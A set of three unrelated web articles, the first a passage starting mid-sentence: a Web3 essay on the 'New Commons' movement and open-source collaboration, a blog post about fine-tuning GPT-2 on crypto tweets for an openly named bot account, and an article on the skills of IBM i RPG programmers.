connection and coordination map and mirror a meta-organism which we can now see and measure. (Similar to the expansion in perception humanity experienced when we saw the first pictures of the Earth from space). Now as we are approaching a point known as the singularity, or a kind of karmic pause for those a little more spiritually oriented, we have a choice at this present moment, in relative space-time, that is not fixed or pegged to a yet-future. The actions we take now, in this kind of wormhole or portal, are accelerated and exponential with this dimensional shift in perception from tribal orientation ( ) to meta-organism, from which future fractals will be spun. We have more awareness and visibility into the future than ever before, into the effects of our choices via predictive modeling technologies and recent developments of a new space race. see Marshall McLuhan ’s The Gutenberg Galaxy The Cyber-physical Space Race This transitional point in space-time is marked by a new race, but unlike its predecessors, this race is not for external markers of territory or technological supremacy, it is for control over system and incentive design, and thereby the inner recesses by which we can program human behavior and condition responses via economic and social stimuli. When tied with machine learning and algorithmic automation, the protocol and entities that win, could dictate thousands of years of further enslavement or, could map a road to seemingly elusive freedom and abundance (if we make it through the impending environmental calamities). Arguably, the most prominent starting line of the race was when Satoshi Nakamoto succeeded in seeding a new era of programming. While industrial, war-era scarcity-coded systems and bloated bubbles were subsidized by governments’ hyper-inflationary policies and , a new intellectual oligarchy capitalized on Satoshi’s vision, realizing that those with the understanding and power to create new economic dynamics out of that ether could create the rules in the present-future, by manipulating the possibilities and rules of a new operating system based on liquid token economies. the further creation of debt With machine learning, economic manipulation was now decentralized much, in the same way, the printing press decentralized publishing. This time, it is the printing press of money that is fracturing paradigms and unveiling a new wave of unforeseen sociological-evolutionary effects. This technology, which has the exponential ability to move worlds, was unleashed without a tried and tested democratized governance layer, a with enough understanding to act as a watchdog, and other stop-gap measures which could act as check and balance to this new power. fourth estate Operating outside of, or propped up by, nation-states, corporate entities and members of the new intellectual oligarchy have been vying for power. The ICO craze era between 2016-2018 was a bit rushed to claim and swallow large amounts of value in the now “legacy” operating system, to fuel rockets of virtual and corporate-run hegemonies hoping to own the next global economic system, or stake claim to as much of the global network and control over human programming as possible, by literally staking on blockchains in . rigged systems The networks were idealized by Satoshi to be resilient to centralization however, much like with internet 1.0 and the dot com era, not even Satoshi and stewards of decentralized models could foresee how this technology created for liberation once again, could be exploited for deeper enslavement. With Web 2.0, a similar race occurred, with hopes that democratic processes would run free. But in the aftershock of that technological wave, we realized that the tools were being used to weaponize and hijack our bodies, using our very own biological systems, to keep us hooked to the dopamine drips of social media, while harvesting our data and psychometric profiles to extract and shift more and more wealth and resources into these virtual corporate states, and control political outcomes, and by proxy, us ( ). see The Great Hack documentary Now, with Web 3 the stakes are higher as we move into a post-nation-state, cyber-physical governance era. And here, the race to maintain any shred of democracy relies on the underdogs - the success of open source technology, token engineering for public goods, and the emergence of the New Commons Movement. New Commons Mycelial Networks vs. Goliath Screenshot from the documentary Fantastic Fungi showing an illustration of underground mycelial network “Life finds a way”, as so eloquently stated by Jeff Goldblum’s character Dr. Ian Malcolm in Jurassic Park. What many may not know is that Malcolm was a mathematician specializing in chaos theory (apropos for these chaotic times) however, simultaneously emergent with chaos is order; the paradox is the language of universal creation and drawing patterns, whether placebo or not, can create powerful narratives drawing that order into existence. The order is growing like mushrooms - lots of them. Beneath and fueled by the technical, economic, and cultural detritus of the first two iterations of the world wide web (networked neural hive) is an ancient-future intelligence system that nature is regenerating. Enter the protagonist - the New movement. Commons While China’s monolithic project and dystopian nightmare grabs headlines alongside the monopolistic flag of Libra, there is a literal movement taking root and propagating by its own organic, emergent, memetic virality and through the means of ; nature is as nature does - there is balance in The Force. Digital Silk Road Social Credit System Grassroots Economics collective intelligence Rather than pillars, hierarchies, linear engineering and proprietary defensive systems that have developed directives of self-preservation over efficacy, this new movement’s inclusive models of radical open source collaboration, shared stewardship, non-linear routes to emergent solutions and the nascent processes by which organizations form and dissolve for specific purposes, are allowing for rapid growth and meta-programming, seeding a parallel operating system to these monoliths. These decentralized collaborations operate more like organisms, and mimic the natural amalgamation and dispersal patterns found in nature. These processes are not new, but a regenesis. Indigenous cultures around the world, during the height of their civilizations, flourished for thousands of years under sophisticated ecological-economic systems grounded in biomimicry. Concepts of bioregional, surplus economies, and peaceful commerce, which provided institutionalized generosity, allowed for peaceful trade and relations between First Nations, and rooted resource management, governance, and culture in abundance and reciprocity. ( ) see “Resilience Reciprocity and Ecological Economics” by Dr. Ronald Trosper While monolithic monopolies plant economic monocultures for manipulation and homogenized social systems, these New Commons mycelial networks are planting economic permacultures and engineering for enlightenment. For every monolith, there are thousands of new collaborations like The , , , , , , , , , , , , and more... Commons Stack BlockScience Commons Engine Regen Network Earth Ledger Metagov Aragon P2P Foundation Verus Holochain Radical Exchange Open Collective Seeds These bottom-up neural webs are taking root and anchoring the much-needed distribution and circulation mechanisms to revive dying parts of the meta-organism, in economic, environmental, and human resources. More tangibly, they are providing the counter systems, , and checks and balances to powerful new technologies in Web3 and the Deep Web. governance layers Although these New Commons movements and their open-source systems are under-resourced, underrepresented, and undervalued in the face of the internet Goliaths in our existing systems, the energy they do have is arguably much more powerful. It is the energy that turns tides, lifts mountains, and transforms horizons. If evolution is any indicator, the mushrooms have a fighting chance. Darwin is Rolling in His Grave I just wanted an excuse to use this Darwin meme - and other hopes for the humanity we all wish to see. If you haven’t already, you should search “Darwin Memes” If “survival of the fittest” isn’t the most overused and oversimplified cliche used to justify inequality, I don’t know what is. There has been much ado about Darwin’s words and using them to justify socio-economic policy through a very limited lens. What you don’t hear as much, is that his holistic view of nature included "dependence of one being on another". Collective intelligence research supports that when it comes to problem-solving, open-source collaboration is superior in addressing systemic challenges. This is reflected in tech as well. According to (1998) and JC Herz (2005), intelligence will eventually generate superior outcomes to knowledge generated by proprietary software developed within corporations ( 2008). Investors and markets are already starting to reflect and . Eric S. Raymond open-source Flew predict the impending rise of open source and shift funds To be fair, however, collaboration extremists have also gone a little wild in interpreting Darwin’s words. Competition and collaboration both have their places, but what we should really be looking at in the context of complex systems research and building human ecosystems informed by Mother Nature’s law is an organism's “saturation point”, and the research of evolutionary biologist and futurist, . She is a living systems pioneer who points to the collaboration threshold as the focal point, rather than debating Darwin’s research. Elisabet Sahtouris If there is something else we have learned about evolution, it is that diversity is key for survival. Award-winning geneticist and broadcaster Dr. David Suzuki has written extensively on the topic and say now, more than ever, we must heed nature's lessons. When building human systems amidst the rising tides, the re-localization of operating systems creates fractals of resilience and adapts much more quickly to meet challenges; economic polymorphism is a necessity. The key to ensuring diversity and meeting at the collaboration threshold is our ability to coordinate. Commons systems, growing on the trusses of decentralized networks, are the best hope for humanity. I’m rooting for the underdogs, and so should you. The Dawn of the Regenaissance Nature is the biggest paradox of all. Resilient, powerful, violent, crushing, and tempered over millions of years; it is also tender, vulnerable, pregnable, withered, and endangered. To survive the extinction feedback loop we’ve initiated, we must re-align technology with nature herself, who holds the keyholes to unlock the solutions existing within her codes. As a species, it is time to mature and acknowledge our humble place in the cosmos and our interdependence on each other. By drawing on wisdom from our past and weaving ancient-future technologies, we can harness and scale mechanisms for diversity and collective intelligence by engineering our digital space systems in the patterns of nature, channeling our socio-political-economic system flows into positive feedback loops for the regeneration of our communities and our planet. By learning from the past we can become better futurists, and even better - more conscious present-ists. Narratives are powerful and so are we. Together, let us write the pages of the Regenaissance and the greatest comeback story the world has ever seen. Let us loose the evolutionary shackles of our own creation, and rise again out of the ashes, never to return. Thank you for reading! And a special thank you to Jeff Emmett for his feedback, edits and support, and Camille Corti & Bryan Doreian for their encouragement in the creative process. I would also like to acknowledge the noosphere and  stand in gratitude for all of the researchers who have contributed to the expression of these collective ideas.

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During one of our call with , discussing our next venture, we thought about implementing AI to streamline certain functions. Given that I had some experience with Machine Learning, our fund had a project aiming to evaluate ICOs & Coins on specific criteria. Yardy I was quick to conclude: It is too hard and expensive, let us leave it for some later stages of the project. After a swift debate, we invited a subject matter expert to our conversation. He assured us that Natural Language Processing tools (especially for English), have advanced tremendously, and now, even a person without programming experience can train a model and use it to generate text. His words challenged me. I read about twitter bots before and decided to make my own. Given No hands-on experience with Ai/ML whatsoever Little-to none programming experience (I can use mac terminal to install Ghost or launch some apps on AWS lol) Goal Aggregate enough of data and teach GPT2 to compose tweets about crypto. Integrate it so curated tweets are published automatically. Result I was surprised by how easy it was to find concise and complete instructions on how to do everything I needed. My primary source of information was the . I had issues with the download_tweets python script he provided, but installing and updating a clean version of Twint helped me. article by Max Wolf Using Max’s instruction, I gathered 70,000 tweets from prominent crypto people and fine-tuned the GPT2 model. You can find the result here: @trAIshtalk To post tweets on schedule, I used a combination of AirTable & Integromat, a super easy and free solution. #NOCODE What’s next? As a next step, I want to teach my bot to reply to comments & selected people on twitter, to make it a real part of crypto-community. What does it all means? Honestly, living in SF, hearing out of every corner Ai for this, Ai for that, while reading that . I was really sceptical about the real advancement and application of the tech. 40 percent of European startups classified as AI companies don’t actually use artificial intelligence in any way But at the same time, oh boy: . AI . Deepmind’s Ai beats a top go player beats top poker players Competes against top player and 5x5 match. Games with imperfect information and millions of variables. starcraft dota2 https://deepmind.com/blog/article/alphastar-mastering-real-time-strategy-game-starcraft-ii All that combined gave me the idea that the technology is so far away from real life, from business and accessible only to the smartest and wealthiest companies. My little experiment made me rethink my attitude towards Ai. If somebody with so little technical knowledge can use it, what actually smart people can do? That’s fascinating. We quickly redrafted our MVP feature list to add a bunch of NLP & ML tools. Influencers, writers, bloggers, and readers will have access to them in our next project — . MetaBias PS. Learn more about Ai — Two-minute papers on Follow me on twitter: Ai crypto bot: YouTube @DanilMyakin @trAIshtalk

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Why RPG Programmers Seem Hard to Find A few years back, some tech bloggers bemoaned the lack of experienced RPG programmers. They claimed that IBM i programmers were aging out with the system. In response, others said, “There’s no lack of iSeries RPG Developers.” IBM might be “old,” but it’s one of the most used and reliable systems in business. Furthermore, its code has evolved over the years, from proprietary to open, from a frozen structure to ILE , from RPG language to RPG “free form.” In short, IBM adapted its code and OS over its existence, which preserved its dominance. That evolution allowed for transitions from legacy systems to where it is at present, largely adaptable in the RPG free form. It was a smart move on IBM’s side since younger programmers were at college learning the latest programming languages. Those colleges and training programs overlooked how mission-critical IBM systems were, and still are. RPG’s advantage is that it was born with the IBM platform. Since programming languages often develop for specific technological spaces, it remains the best for IBM. Meanwhile, the code evolved through ILE to the present RPG language with its free capacity. as400 / i-series It is cleaner, modularized, and co-exists with languages in the open world. Its evolution is what makes it possible for younger programmers with the right coding skills sets (and good minds) to become experts in RPG. The Advanced Skills of RPG Programmers An RPG programmer enjoys a variety of challenges, from creating specialized software in the language to maintaining, fixing or updating older RPG programs. So, does an expert need to know the legacy code? Yes. Imagine the codes looking like the differences between modern dialects. Each business has been specializing its software for as long as it’s used IBM systems. Differences in modern free form RPG, might be like deciphering English in Australia versus Britain versus the USA. Previous iterations of were proprietary. They might be comparable to reading Shakespearean English. iSeries RPG Development ILE and earlier AS400 code might be comparable to a language expert like Middle English, almost nothing like the modern tongue. Translations will be needed and the quality of each generation’s coding matters. RPG programmers are working across time, across business cultures, and structures. When they analyse, maintain, design and develop to meet what a company needs, they need skills with RPG, RPG ILE, RPG-FREE and SQL. They create or enhance programs. They create technical documentation or pseudo code for themselves or programmers who follow them. They troubleshoot business processes, including looking for database issues. They identify the best syntax checkers, monitor, and debug current software. They use the best change management techniques. They advise businesses on how to improve processes. Ninjas, Evolutionists, Architects, Carpenters, and Programmers The best RPG programmers are ninjas of the tools and languages. They understand their language well, but can integrate with CL, SQL, JAVA, C#, XML, JSON, HTML, PHP, and other code. Because IBM’s strength lays in part with its compatibility. The best RPG programmers are evolutionists. They refactor, tinker, and upgrade legacy RPG into /free format. As technology evolves, they keep their skills up-to-date and be agile for new demands. The best RPG programmers are architects. They work with the aesthetic clarity of modern code and design software with modules, directories, and service programs that are reusable. The best RPG programmers are carpenters. Just as a carpenter measures twice and cuts once, programmers make it right before they make it faster. They know how the logic cycle works, but use clean /free form code. Just as a skilled carpenter works efficiently and makes clear marks, so also programmers create pseudo code and documentation to preserve the quality and longevity of programs. Conclusion They don’t take shortcuts that waste resources or create errors. This makes for beautiful, sound code and long-lasting systems. Good RPG programmers will ensure that IBM systems will remain first class for the foreseeable future. They have an all-round expertise from the old to the new and know how to modernize the IBM i systems. If an organization is based on IBM I systems, it is necessary that they have a team of . RPG programming experts

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